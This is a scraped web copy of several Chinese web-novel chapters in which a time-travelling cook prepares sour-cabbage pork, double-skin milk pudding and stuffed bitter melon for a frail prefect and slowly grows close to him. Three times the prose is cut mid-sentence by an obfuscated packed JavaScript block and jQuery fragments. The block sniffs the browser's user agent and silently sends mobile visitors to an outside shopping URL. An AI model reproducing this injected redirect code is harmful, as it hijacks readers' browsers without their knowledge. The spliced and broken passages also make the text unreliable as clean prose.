不过大荤的菜秦见君还是不太敢做,因为知州大人虽然爱吃,但身体却不太能扛住,每每吃完两个时辰后就又会吐出来,秦见君想应该是太久没好好吃东西了,胃受不了。 “秦小娘!今日做什么好吃的?”裴小之迎着落霞冲进厨房,手撑在台面上,身子前倾凑到秦见君面前问。 “今晚做酸菜五花肉,前段时间腌的酸菜好了。” 秦见君从厨房角落里搬出来一个大坛子,开盖后酸味扑鼻而来,裴小之忍不住牙根发酸,脸不自觉皱了起来,嘴里疯狂分泌口水。 先前做荤菜都是偏油,这次加了酸菜,希望能中和一点油腻,无论如何要让知州大人慢慢能吃荤不吐才行。 秦见君从坛子里取了半棵酸菜,重新将坛子密封好放回角落。 酸菜切碎后放进碗里备用,她又取了一块品相极好的猪五花,切成小块,然后点火热锅。 锅中不放油,直接将酸菜放进去炒干再盛出,接着将五花肉倒进去翻炒。 油脂丰厚的五花肉很快出了油,亮晶晶的挂在微黄焦脆的肉上,裴小之在一旁目不转睛地看着,心想这五花肉定是外酥里嫩的! 秦见君撒了蒜末和胡椒进去,再倒入酸菜,翻炒均匀后撒入盐、白糖和酱油。 暗绿的酸菜跟金黄的五花肉混合在一起,裹上酱油后色泽更加鲜亮,秦见君撕了一点葱扔进去,被嫩绿色点缀后的酸菜五花肉更加油润诱人,裴小之看得口水直流。 秦见君装盘的时候故意只放了五六块五花肉,裴小之知道这是怕自家郎君又吃吐,但看着盘子里孤零零的几颗肉,他都替自家郎君觉得可怜...... 果然,裴眠拿到饭菜时皱了皱眉。 这段日子里,他远离朝堂,连绵州事务都托给了赵浅聿,每日只需看看书、吃吃饭,有空就去厨房附近看秦见君做饭,心绪平静后,果然饭都吃得更顺利了。 天渐渐暖和了,他不想闷在屋子里,便在池塘不远处搭了个亭子吃饭。 此时微风拂过,酸菜五花肉的香气钻进鼻子里,他忍不住咽了咽口水——酸菜看着也好吃,少点肉就少点肉吧...... 吃完饭,裴眠坐在轮椅中,撑着脑袋看池塘休息,虽然能吃下东西了,但肉还没长起来,他还是站不起身。 裴小之转头见池塘里的野草疯长,都快将池塘给掩住了,便问:“郎君,要派人将池塘清理了吗?” “不必。” 裴小之没再多话,端着碗盘走了。 秦见君在府中待了一段时日,熟悉了厨房与落霞轩,还有府中侧门处,她没敢再去那池塘,生怕又碰到“轮椅鬼”。 天有些黑了,秦见君浸上米粉后就解下围裙,给裴小之留了灯,自己回落霞轩了。 走到落霞轩院门口时,她又忍不住看了看池塘的方向。 上次没看清楚,不知道池塘里有没有水,如果有水的话,说不定会有莲藕? 天还未完全黑下来,路边草木葳蕤、花团锦簇,四周都生机盎然,毫无阴森气息。 秦见君壮了壮胆——只是去看一眼池塘里有没有莲藕,看一眼就走! 她拨开挡在面前的树枝,几乎被杂草覆盖的池塘就在眼前,里面一滴水都没有,她失望地叹了一口气,街上也能买到莲藕,但她在没有手机的地方待久了,已经无聊到觉得下塘挖莲藕也是趣事了...... 裴眠正在发呆,忽然听到池塘对面有人叹气,他侧头等了等,那边又没了声响。 府中没人敢在他面前装神弄鬼,这人也不知吃了什么熊心豹子胆,竟敢躲在野草后不出来。 “谁?”裴眠出声问,声音低沉,含着一丝严厉。 秦见君被这声音吓了一跳,她左右看了看,没人,她稍稍转过野草,看见池塘对面有人影。 裴眠看见了她,不知这小厨娘鬼鬼祟祟的在做什么,便喊她:“出来。” 秦见君觉得这声音有点熟悉,但是又想不起来在哪儿听过,正犹豫,又听那人放缓了声音叫了她第二遍:“过来。” 秦见君小心翼翼地探出头去,猛然看见一个人坐在轮椅上! 这段日子她总是能在厨房不远处看见这个身影,由于心里害怕,她都尽量克制自己的好奇心不去看,假装没看见,此时跟“轮椅鬼”正面对上,恐惧到达了顶峰,她毫不犹豫转头就跑。 裴眠蹙起眉,不知道她这是要做什么。 跑得太急,秦见君被地上的碎石绊倒,扑通一声摔在地上,裴眠的手攥紧了轮椅扶手,险些要站起身。 秦见君摔得手掌的皮都磨破了,膝盖也火辣辣地疼,但她顾不上许多,连忙爬起来继续跑,没跑两步便看见裴小之和“知州大人”迎面走了过来。 她张嘴就喊:“之管家!知州大人!救命啊!有鬼!!!” 裴小之脚步一顿——他也怕鬼啊!!! 还是袁原扶着腰后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395798|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的匕首走上前,见是裴眠坐在轮椅上,他愣了愣。 此时秦见君和裴小之都躲在他身后,两人拽着他后背的衣裳,抖得跟筛子似的。 “大人。” 裴眠的脸色有些差:不就是瘦了点......至于说见鬼了么...... 天气暖和后,他也不再盖着大氅了,现下没什么东西可以遮掩面容,他往轮椅里面缩了缩,低下头。 秦见君和裴小之听袁原喊大人,都纷纷探出头去。 裴小之见是自家郎君,顿时松了口气,他转头去看秦见君,发现她整个人都僵住了,一脸呆滞。 轮椅上的男人形销骨立,露出的手腕只剩皮包骨了,整个人靠在轮椅上低着头,无端添了一丝病娇感。 他长得剑眉星目,垂眸时能看见浓黑的睫毛,鼻梁挺拔、形状完美,嘴唇没什么血色,看着有些干燥,但不妨碍他的容貌稳稳踩中秦见君的审美。 秦见君一直觉得每个人都是有审美偏好的,在现代时她也亲眼见过几个明星,但都并不觉得他们帅到惊为天人、人神共愤的程度,但眼前轮椅上这人,除了瘦,眉眼和气质都完全命中自己的审美点! 瘦成这样还能这么帅,很难想象要是精心把他养好了,那得是什么样的神仙美貌...... 裴小之拍了拍秦见君,小声问:“秦小娘,你方才叫袁原什么?” 秦见君愣愣地转过头,眼睛却还盯着裴眠,机械地回了一句:“什么?” “你方才......叫袁原‘知州大人’?”裴小之问。 听到“知州大人”四个字,秦见君总算清醒过来了,这才将眼珠转向裴小之:“对啊。” 裴小之一脸疑惑,他指着不远处坐在轮椅上的男人道:“那才是知州大人、我家郎君——裴眠。” “裴......眠......”秦见君小声重复了一句,又问:“哪个眠?” “孤枕难眠的眠。”裴小之道。 秦见君的眼神在裴眠和袁原之间转了几圈,后知后觉地反应过来,自己好像一直以来都认错人了...... 她就说袁原看着那么健康,怎么会吃点油荤就吐呢?再看裴眠瘦弱到不能站立的模样,秦见君狠狠批判了自己:之前我都在做什么菜啊?那么油怎么能给病人吃呢? 裴眠有些没精神地坐着,低着头也不说话,秦见君隐约从他的表情里看出了一丝......委屈? “见过知州大人......”秦见君上前鞠了个躬,她也不知道要怎么行礼,正所谓伸手不打笑脸人,鞠完躬她便扬起一个灿烂的笑容来。 裴眠抬眸去看,微微怔住,她许是擦过脸,方才摔跤沾在手上的尘土都抹在了脸颊上,衣裳也脏兮兮的,白皙饱满的脸上堆着笑,眼睛弯弯的,嘴边挤出两个括弧,露出一口小白牙,憨憨的......又很可爱。 因为她方才说自己是鬼,裴眠心里有些不高兴,想冷冷她,于是没说话。 “大人你长得真好看!”千穿万穿,马屁不穿,尤其自己这还是真心实意的马屁,秦见君自信满满。 裴眠的神情果然有点松动,他后靠在轮椅上,说了一句什么。 秦见君没听清,便又凑上前一点问:“大人说什么?” “你说谎。” 15. 第 15 章 “啊?”秦见君愣住。 裴眠看了她一眼,很快又移开视线,闷闷道:“你方才说我是鬼......” 这误会可大了! 秦见君一顿嘴忙舌乱的解释,一边说一边道歉,好歹是把误会说清楚了,看裴眠的表情,似是勉强接受了。 “那你是谁?”秦见君问袁原。 “暗卫。”他言简意赅,声音一如既往冷冷的。 秦见君忽然想起来,裴小之带她去请罪那次,她还疑惑为何声音不同...... 气氛一时有些尴尬,最后还是裴小之打了圆场。 秦见君回到落霞轩后狠狠松了口气,天知道她刚刚有多紧张,生怕裴眠一个不高兴把她逐出府去! 睡前仔细回味了一下自家老板的美貌,秦见君一夜好梦。 晨光初泄,洒在院子里的鱼鳞铺地上,或粗糙或光滑的碎砖反射出不同的光,似星河点点、波光粼粼。 秦见君正扎着马步站在院子中间打八段锦,呼吸均匀、动作标准。 一套八段锦下来,她感到气血舒畅、心平气和,脚步轻快地向厨房走去。 穿上自己的专属围裙后,秦见君将台面上的小桶端到面前来,掀开盖子,里面是她拜托小厮一早去打的鲜牛奶,今日要做双皮奶,牛奶营养丰富,也不会油腻。 牛奶直接倒入锅中煮沸,然后盛出放在碗里自然风干出第一层奶皮。 等奶皮的同时,秦见君将新鲜的茉莉花清洗了一遍,打算待会儿放在双皮奶上当装饰,茉莉清香,怡情怡景,她洗得仔细,待洗完后,奶皮已经形成了。 这层奶皮非常薄,秦见君小心地用筷子挡住奶皮,把下面的牛奶都倒在了另一个碗中。 她满意地看了看碗中完整的奶皮,正要放下,不经意抬头看见不远处树荫下的裴眠,“哐当”一声碗掉了...... 那身影她既熟悉又害怕,下意识还是被吓了一跳,反应过来那是裴眠时,碗已经摔在了地上,一半的奶皮随着瓷碗碎片一起撒在了地上...... 秦见君是穷过的,又师承韩老爷子,最不喜浪费粮食的行为,平日里做菜剩的原材料都会跟裴小之一起分食掉,现在一大半的奶皮直接碎在了地上,她别提有多心疼了! 这下也顾不上欣赏美貌了,秦见君深吸了一口气,快步走到裴眠面前:“大人,您能别在树荫下面待着吗?” 她气呼呼的,和昨晚唯唯诺诺、小心道歉的模样完全不同,裴眠觉得新鲜。 “这里不用晒太阳。”他仰头看着秦见君。 秦见君叉着腰四处环顾了一圈,走到裴眠身后,直接将他推到了厨房大窗外——那里有一棵大树,树梢已经接上了厨房屋顶,一整日都不太会晒到太阳。 “您在这儿待着。”说完她便转身进了厨房。 裴眠对自己的“新窝”挺满意的,既不用晒太阳,又可以近距离欣赏秦见君做饭,而且还不用被油烟侵扰。 秦见君回到厨房收拾了地上的奶皮,洗了手,将碗里剩下没弄脏的奶皮捡起来塞嘴里吃了。 “你......”裴眠想提醒她那奶皮即便没掉地上也可能沾了灰尘,可是刚出声便被她的眼刀瞪了回来,不知为何,裴眠有些心虚,只好闭上嘴。 秦见君重新煮了牛奶、重新倒入碗中风干,等风干时,她取了几个鸡蛋,在碗沿上将鸡蛋敲出一条小缝,漂亮的手指顺着小缝将鸡蛋壳掰开,透明微黄的蛋清顺势流入碗中,她小心翼翼地抬起蛋壳将蛋黄留住,只让蛋清流入碗中。 裴眠看得目不转睛,不自觉屏住了呼吸,半晌才反应过来自己不用这么紧张...... 他一边调整呼吸一边去看秦见君,发现她认真时会不自觉噘嘴,嘴角微微向下,显出股倔劲来。 分离好蛋清后,奶皮也好了,秦见君拿筷子时忍不住看了一眼窗外的裴眠,他手上的书册并未翻页,正认真地看着自己。 裴眠长得好看,不做表情时也很好看,此时正端坐在轮椅中,一脸认真地看秦见君做双皮奶,像个漂亮的娃娃。 秦见君的脑子里不合时宜地想起,好像有那种很好看、很逼真的娃娃,叫bjd?裴眠坐在那儿,衣着精致,就像一只瘦巴巴的bjd娃娃。 这次秦见君顺利地留下了一张完整的奶皮,她将蛋清倒入剩下的牛奶中,再加入白糖,拿了好几根筷子进去搅拌。 筷子磕碰碗盆的声音清脆极了,两人都没说话,只有屋檐上的鸟雀啾啾鸣叫着,配合着搅拌牛奶的声音,竟有种岁月静好的和谐感。 牛奶搅拌好后,秦见君用筷子掀起奶皮的一个小角,沿着碗边将搅拌好的牛奶慢慢灌进去,有些浮沫溢出压在奶皮边上,她用勺子撇掉了。 接着她重复上面的步骤,又做了两碗出来,锅中加水,点好火,再将三碗奶皮都放入锅中,每个碗上都盖着盘子,盖上锅盖开始蒸。 做完这些,秦见君转身去看裴眠,他看碗都放入锅中了,便开始低头看书。 秦见君走到窗边,手撑在窗沿上,探着身子去看裴眠手里的书。 裴眠将书册合上,给她看封皮。 “治水通......嗯?”后面那字太复杂了,也不是秦见君记忆中繁体字的模样,她看不懂。 “鉴。”裴眠道。 秦见君又看了看那字,是有些像“鉴”字,但和她记忆中的繁体字还是不一样的。 她正想问问这书里是不是写的水系布局之类的东西,这时身后的锅中发出咕噜咕噜的声音,秦见君忙回去看火。 她往灶里添了两根柴,又烧了会儿。 秦见君盯着莲花漏算着时间将火灭了,揭开锅盖后,浓郁的奶香飘出厨房,引得裴眠咽了咽口水。 等锅里稍微凉了些,秦见君用湿抹布裹住指尖,将三个盖在碗上的盘子都取了,此时双皮奶已经凝固了,表面皱皱的,看着有些粗糙,但挡不住奶香扑鼻。 碗都取出来后,裴眠自己将轮椅挪得更靠窗了。 秦见君在双皮奶上淋了些蜂蜜,又将先前洗好的茉莉花摆了上去。 “秦小娘!我来晚了!都是袁原!非要我陪他出门......”裴小之边走边喊,到了厨房门口才看见窗边的裴眠,“......郎君?” “大人。”袁原掏出一封信交给裴眠,“湖梁知县来信。” “郎君你平日里不是在树荫下吗?怎么今......”裴小之说了一半,忽然两眼放光地往厨房里看,“什么味道?秦小娘今日做的什么?” “双皮奶。” 裴眠这才知道了这闻起来奶香奶香的甜羹叫什么。 “像鸡蛋羹。”裴小之看见了那三碗双皮奶。 秦见君点点头:“双皮奶是甜口的,口感比鸡蛋羹还嫩。” 裴小之伸手碰了碰碗边,已经不烫手了,他端了一碗给裴眠,然后自己也端了一碗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395799|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>台面上只剩下一碗双皮奶了,秦见君同袁原对视了一眼,双双错开视线。 双皮奶的香味袁原自然也闻到了,他本是个口腹之欲不重的人,但自从秦见君来了府上,裴小之便天天念叨她做饭有多好吃,偶尔几次他在裴眠进餐时回话,也能看见那些菜色,好看又好闻,难得勾起他的馋虫。 今日他也不是想抢这碗双皮奶,只是这会儿离开未免有些刻意,他都做好看着三人吃美食的准备了。 “你吃吧,我吃过了。”秦见君道,先前认错人,她就心里有愧,尤其她还想着报珍馐楼门前的恩,这碗双皮奶她让得心甘情愿。 裴眠抬眼看着秦见君——分明没吃。 秦见君察觉到视线,她微微侧过脸,冲裴眠眯了眯眼睛:不许戳穿我。 裴眠挑眉,转头看袁原还站着不动,便道:“吃吧。” 袁原看看裴眠,又看看秦见君,肩膀被裴小之推了一把:“郎君都说了,快吃吧,可嫩可香了!” 袁原端起碗拿了勺子,勺子破开奶皮舀出一块鸡蛋羹似的双皮奶,他的鼻腔里瞬间涌入一股混合着茉莉花香、蜂蜜甜气和牛奶纯香的气味,双皮奶入口,落在舌尖便碎了,满口奶香四溢、甜蜜沁心。 他的表情没什么变化,但在场的人都能感觉出来他有些高兴,秦见君趁机道:“袁......” 怎么叫?袁先生?袁郎君?袁相公? “叫他袁原就好了。”裴小之与秦见君已经很熟了,他舔了舔嘴角的双皮奶道,“他同你一般年纪。” 秦见君震惊地看着袁原,这气质看着可不像二十岁,她又看了看裴小之,感觉他俩应该对调一下年纪...... “小之。”裴眠喊。 “嗯?”裴小之撑在窗边问,“怎么了郎君?” “去给我换一本书,顺便......”裴眠招了招手,示意裴小之凑近,对他耳语了几句。 裴小之面露惊讶之色:“郎君你不是不吃......” “去。”裴眠打断了他,裴小之对秦见君露出一个难以言喻的复杂表情后就走了。 接着裴眠又对袁原说了几句,让他出府办事去了,厨房这儿只剩下裴眠与秦见君。 裴眠展开袁原带来的信,只扫了一眼便将信纸递给了秦见君。 秦见君受宠若惊地接过信纸,这是做什么?这么信任自己的吗? “你的信。”裴眠道,“湖梁知县的女儿给你的。” 他方才只看了个开头,绵州知州府上招厨子的动静很大,附近的州县都知晓了,如今秦见君在府上待了一段时日,怕是也已经传开了。 安承喜来信恭喜秦见君入府,言明普通信件送不进府中,只能借爹爹的名头给裴知州递信...... 裴眠看到这里就没往下看了,这信是写给秦见君的,他不能随意查看,也不感兴趣。 秦见君听说是安承喜来信,忙展开看,若是自己的行踪被湖梁县里的人知晓了,那离传到井沟村就不远了,秦留志会追过来把她带回去吗? 她盯着信件仔细看,越看眉头越紧。 裴眠见她表情凝重,心中腾起一股担忧来。 “怎么了?”裴眠忍不住开口问。 秦见君蹙眉抿唇,一脸凝重,她将信纸举到裴眠面前:“这上面好多字我都不认识,看不懂!” 裴眠:“......” 白担心了,原来是不识字。 16.第 16 章 秦见君原以为这里的文字和自己知道的差不多,顶多有几个字不同,现在看来还是自己大意了。 她蹲在裴眠的轮椅旁等他给自己念信,因为急着听信,她并未多想,丝毫不觉得裴眠的身份给她读信有何不妥。 “信上说......”裴眠垂眸瞥了秦见君一眼,她正认真盯着自己手中的信纸,眉毛挑得高高的,眼睛很圆,睫毛很长,红润的嘴微张着。 半晌没听到下文,秦见君抬头去追问:“说什么?” “咳......”裴眠收回视线,清了清嗓子道,“说恭喜你进了知州府,她已经会做......千......千层饼了,千层饼是什么?” “明早给你做。” 裴眠满意地抿了抿唇,继续往下看:“她还说前几日在县里遇上了冯莲,冯莲问你近况,她告知了冯莲,并且叮嘱冯莲不要告诉别人......她自己也会替你瞒住......”裴眠微微蹙眉,低头问秦见君,“在知州府上当厨娘,为何不能告知别人?”他不理解,这难道是什么不光彩的事吗? 秦见君搬出了先前糊弄裴小之的那套说辞:“爹娘要我嫁人,我不肯,就跑出来了,若是让他们知道我的行踪......” “嫁人?”裴眠眉头蹙得更紧了。 “嗯。”秦见君眉心上吊,两条眉毛呈“八”字型挂着,眼眸溜圆湿润,看着既委屈又可怜,她仔细观察着裴眠的表情,恰好捕捉到他脸上的一丝心软之色。 裴眠顿了顿,继续往下看信:“湖梁县只知入知州府的是个厨娘,若不是她爹安知县,她也不能确定就是你,所以你放心,村里人不会知晓的。” “那就好......”秦见君松了口气,她探了探身子,想看看信上还有没有字。 裴眠由着她的袖口碰到自己的衣摆,虽久在厨房,但她身上仍有一股淡淡的清香,是无患子的味道。 “没了吗?”秦见君起身从裴眠手中抽出信纸,统共两张,她仔细辨认了一下,发现真没了。 那股清香随着秦见君起身走开而消失了,裴眠有些疑惑,明明自己沐浴用的也是无患子,却从不觉得它有多好闻,怎么在秦见君身上就那么特别呢? “郎君,桃花酥没有了,只有樱花酥了。”裴小之一手拿着书册一手拎着食盒走了过来。 “给她吧。”裴眠道。 裴小之愣了愣,这才反应过来,嘴里轻声嘟囔着:“难怪要我去那边拿酥饼,还以为你又有胃口吃大厨房的菜了呢......” 知州府的下人们都在大厨房吃饭,秦见君没来之前,裴小之也在那边吃,里头的厨子们都是从虔渊州裴府带来的,手艺很不错,只是还不能入裴眠的眼罢了。 秦见君接过食盒,掀开盖子,里面的酥饼形似樱花,四块粉花瓣围着中间的黄蕊,很是养眼,她有些感激地看了一眼裴眠——想来是怕自己觉得尴尬,他方才还特地将袁原打发走了...... 秦见君捏了一块酥饼放进嘴里,香香甜甜的,正好填饱空荡的胃,她一口接一口,两颊塞得鼓鼓囊囊的。 “好吃吗?”裴眠问。 “嗯!”秦见君嘴里还有饼,说不出话,她慢慢嚼着,好一会儿才咽下去,“好吃!” 她转头去看摆在窗台上的两张信纸,问裴眠:“我能回信吗?”她想问问冯莲的近况,她生怕自己店还没开起来,冯莲就嫁人了。 “能,随我来书房吧。” 裴小之走上前来推轮椅,秦见君便跟着走。 路过了落霞轩,又绕过池塘,秦见君抬头看了一眼,院门上写着“淌虹苑”。 她这是第一次来书房,进门后,面前的一整片墙上都嵌着书柜,里头的书摆放得整整齐齐,前面有一张大书桌,上面笔墨纸砚都有,还堆着一沓高高的信件。 她走上前,看见最上面的信封上写着字:“科......什么......名单?” 裴小之想上前把她拉过来,却被裴眠抬手制止了。 “科举名单。”裴眠道。 秦见君惊讶,前几日上街还听说科举名次未公布,裴眠居然能提前拿到名单!这属于机密文件吧?她退了两步,没敢拿起来看。 裴眠抬头与裴小之对视:看吧,她胆子小,不敢拿的。 其实裴眠也拿不准秦见君的性子,她有时过分谨慎小心,有时又莽撞得可爱。 昨日池塘误会,她战战兢兢地反复道歉,极其卑微,今日看信,又没大没小地扒在自己轮椅上......实在有趣。 秦见君看了看书桌上挂着的毛笔,犹豫了一下,还是转头问裴眠:“大人,我不识字,您能替我写信吗?” 这下连裴小之都觉得有些不可思议,裴眠是什么人?且不说他先前是正三品官员,即便是如今的从七品官,也不是秦见君能随意使唤的啊! “秦小......”裴小之正要开口,又被裴眠拦下了。 “你先出去吧。”裴眠吩咐。 裴小之熟知自家郎君脾性,这是要帮忙的意思,他看了一眼正在伸手摸砚台的秦见君,随后退了出去。 裴眠操纵轮椅到了桌前:“研墨。” 秦见君连忙取了水来研墨。 裴眠铺好纸,取了一根细毛笔,问:“要写什么?” “替我问问冯莲嫁人没......”秦见君想了想又道,“再问问,我爹娘和弟弟如何了......” 她倒不是关心三人的生活,只是想知道他们是不是还在寻找自己,要是秦留志找上门来,她都不知道这份工作还能不能保住...... 裴眠抬笔写着,骨节突出的大手握着毛笔,柔软的笔尖在纸上顺畅滑行,秦见君认得这是小楷,大字结密无间、小字宽绰有余,看着极其和谐漂亮。 秦见君看着那双极其干瘦的手,心中感慨:这也太瘦了...... 裴眠写得认真,秦见君研完墨帮不上忙,不一会儿就开始左顾右盼起来,她伸手去摸纸张,却不小心碰掉了那封“科举名单”,捡起来时发现这信根本没被打开过,封口还是完整的。 裴眠收了笔,纸上墨迹未干,他便没挪动纸张,只让秦见君过来看。 秦见君凑过去,字迹工整,竟一处涂改都没有! “写得真好......”她由衷赞叹。 裴眠唇角微动,操纵轮椅往后挪了挪,给秦见君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399972|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让出位置来,两人一起等墨干。 秦见君三番四次转头偷看裴眠,一副欲言又止的模样。 “想说什么?”裴眠问。 秦见君看他问出口了,便也不再犹豫,指着桌上未拆封的信道:“你不拆开看看吗?” 裴眠微微挑眉,她一脸的坦然无畏,问得斩钉截铁——有点小聪明,知道先试探,得到允许后便肆无忌惮起来。 “你拆吧。”裴眠后靠在轮椅上,轻轻阖上眼,似是累了要休息。 秦见君当然没有真的去拆信,她想了想,问:“这信是送给你的,你真的不打算看吗?” 裴眠的睫毛颤了颤,唇角微微勾起——才一日,她已经大胆到不喊“您”,而是“你”了。 “桌上堆着的,是这一个多月来别人送我的信,”裴眠睁开眼,看着秦见君,“都是虔渊州来信。” 秦见君不明所以,虔渊州的来信都不看吗? 见她一脸疑惑,裴眠便开口道:“裴小之有没有同你说过我先前是做什么的?” 他暗中观察了秦见君一个多月,心觉她不是政敌派来的奸细,也知晓她聪明大胆,却从不走旁门左道,做菜时脚踏实地、极有耐心——是个值得深交的朋友。 此时阳光正好,他忽然有了倾诉欲。 “先前是......在朝为官?”秦见君犹疑道。 裴小之倒没具体说过,主要是听城中脚店的伙计说的八卦...... “嗯。”裴眠微微点头,“在朝为官......”他深吸了一口气,似是在想要如何说。 秦见君眨了眨眼问:“是勾心斗角太累了吗?” 这话许多人都说过,官家、爹娘、赵浅聿、裴小之甚至连大夫也这样说,但裴眠并不觉得这话是对的。 在朝七年间,他夜以继日、提心吊胆、步步为营,每日睁眼闭眼都在盘算朝中势力,其中艰苦难以言说,可他并不觉得累,为了改制,他可以牺牲很多。 “不累。”裴眠低下头,秦见君看不见他的表情,只能听到他闷闷的声音,“我不累。” “你的心不累,但身体累了啊......”不然也不会得厌食症...... 裴眠没说话。 秦见君很快便想通了:“这些虔渊州的来信,都是官场上的事,你身体不好,看了就会更差对吗?” “嗯。”裴眠应了一声。 秦见君转头再去看桌上那沓信,似是在看什么洪水猛兽,心道:害人的东西!可别把我老板折磨死了,我可不能丢了这么好的工作! 她伸手将信件都揽进怀里,起身要往外走。 裴眠见状叫住了她:“去做什么?” 秦见君站在门口,背着光,理直气壮道:“去做午饭,刚好最近点火有些困难,用信件引火应该更好烧,大人要一起吗?” 裴眠愣了愣——烧掉这些信件吗? 秦见君看他呆坐着,便走上前,将信件一股脑放在裴眠腿上,绕到他身后,推着轮椅出了门。 “反正也不看,索性烧掉吧,身体才是革命的本钱!” 裴眠眨了眨眼,身体是革命的本钱? 革命是什么? 17.第 17 章 裴眠依然待在厨房大窗外的树下,不过这次他离窗口更近了,秦见君索性将窗台上放着的绿植拿走,窗沿空着,够让裴眠放书册。 她将信件都堆在灶膛前,穿上围裙着手备菜。 裴眠看她淘米煮饭,转身拿起两条苦瓜,不由眉头一皱,他先前吃过清炒苦瓜,那种舌根发苦的滋味,他迄今还记得。 秦见君拿完苦瓜,又拿了块猪肉。 猪肉洗净后切片,再切条,接着她一手一把大刀,刚要下手剁肉,忽然动作一顿,想起裴眠还在窗外看书。 “会吵到你吗?” 裴眠摇了摇头。 秦见君低下头,开始专心剁肉,苦瓜酿肉中间的肉糜一定要碎,可惜这个季节没有荸荠,不然将荸荠碎揉进去,口感粗中有细,那才是上佳。 四月的天不算热,但秦见君剁了会儿肉后,额角还是沁出了汗,她转头去看裴眠。 他是真的没有被吵到,正认真看书,一身白衣,清爽宜人。 秦见君又看看自己,粗布麻衣,还满头大汗——人比人,气死人。 剁肉声停了,裴眠便抬头去看。 秦见君把肉糜放入碗中,加酱油、胡椒粉、淀粉与鸡蛋进去,抓匀后便放在一旁,转身去处理苦瓜。 她今日没有穿粉,而是一身青衣,像溪面上的青翠柳叶,看似柔软易折,实则坚韧结实。 不知是不是日头太盛,照得厨房里热,秦见君的额间与颈间都挂着汗珠,晶莹的汗珠愈发饱满,忽然从皮肤上滚落,一路洇进领子中,留下一串清亮的水迹。 她头发挽起,用木簪子别着,几缕乌黑的发丝垂落,被汗水打湿,黏在雪白的腮边...... 裴眠忽然觉得有些干渴,他想起先前在虔渊州裴府中,五六月时便会有人送来蜜桃,都是庄子上的下人们种的。 桃子个大又饱满,粉白的皮透着红,一口咬下去汁水四溢,齿缝间都是香甜。 也不知今年爹娘会不会派人运些蜜桃来...... 裴眠不自觉咽了咽口水。 秦见君正在切苦瓜,察觉到裴眠的视线便转过头去看,恰好看见他在咽口水。 她放下刀,洗好手,拿碗倒了水,往水中掺了些蜂蜜,搅和匀了,端过去给裴眠。 蜂蜜水甜滋滋的,与茶水的甘甜不同,蜂蜜是入口便能尝出的甜,而茶水则是细品出的回甘。 见裴眠小口嘬着蜂蜜水,秦见君便放心地继续忙活去了。 苦瓜切段去瓤,过一遍凉水,再放入锅中用热水煮,这样能消减一点苦味。 捞出苦瓜放凉后便开始塞肉,将肉糜仔细塞入苦瓜中后,秦见君还拎起来试了试,确保肉糜不会从苦瓜中滑落,才去塞下一个。 起锅烧油,秦见君说到做到,真的用信件引了火。 将酿苦瓜煎至两面金黄,随着热油滋啦声,锅边开始冒出些油烟,好在风向合适,白烟都被吹离了秦见君。 她见苦瓜差不多了,便倒入酱油、白砂糖和半碗水,接着开始收汁。 窗外的裴眠已经放下了书,秦见君总是能给他带来惊喜,不知道这苦瓜会不会同自己记忆中难吃的味道不同...... 厨房中的油烟都散了,秦见君把裴眠推进来,盛好饭和菜放在台面上。 挂着酱汁的肉糜看着金黄发脆,外面围着一圈翠绿的苦瓜,肉香夹杂着一丝苦气钻入裴眠的鼻腔,他用筷子戳住肉糜,想将肉糜挖出来吃,余光瞥见秦见君垂在身侧的手抬起,葱白的手指敲了敲台面。 厨房中厨子是老大,裴眠抿了抿嘴,终究是没将肉糜剥离出来,他把苦瓜送到嘴边,轻轻咬了一口。 这苦瓜选得好,又经过烹煮,汁水丰厚,滑过舌根时激起一丝苦味,但并不似先前印象中那么浓郁,他将苦瓜咽下后,又忽觉舌尖回甜,这感觉奇妙,惹他又吃了几口苦瓜细细咂摸。 苦瓜被咬开了,里面的肉糜露出来,牙齿轻碰,只觉嫩滑,一股带着苦瓜气息的咸香味落入口中,外焦里嫩,每咀嚼一口都有汁水爆出,并不油腻,反而让人觉得喷鲜清爽。 见裴眠吃得沉浸,秦见君这才去给自己添了饭。 苦瓜是一种“边界感”很强的食物,爱吃的人在其地界中畅游,不爱吃的人即便路过也不会多瞧一眼。 秦见君一边吃饭一边高兴地眯了眯眼睛,愈发觉得这份工作好了。 没有勾心斗角的同事,而且薪资高、老板帅,尤其这个老板还不挑食,到目前为止,秦见君做什么,裴眠就吃什么,他还足够信任秦见君,敢于尝试一开始并不看好的食物,这点让秦见君太满意了。 从前做直播的时候,弹幕就很容易因为食材偏好吵架,固执己见不肯尝试新鲜食物的大有人在,那时她就想,如果自己开了餐厅,希望来的都是信任自己的顾客。 看着旁边这位埋头干饭的老板,秦见君的幸福感油然而生。 吃完饭,秦见君解了围裙,问裴眠:“我要去药铺抓十三香,大人要不要出门逛逛?” 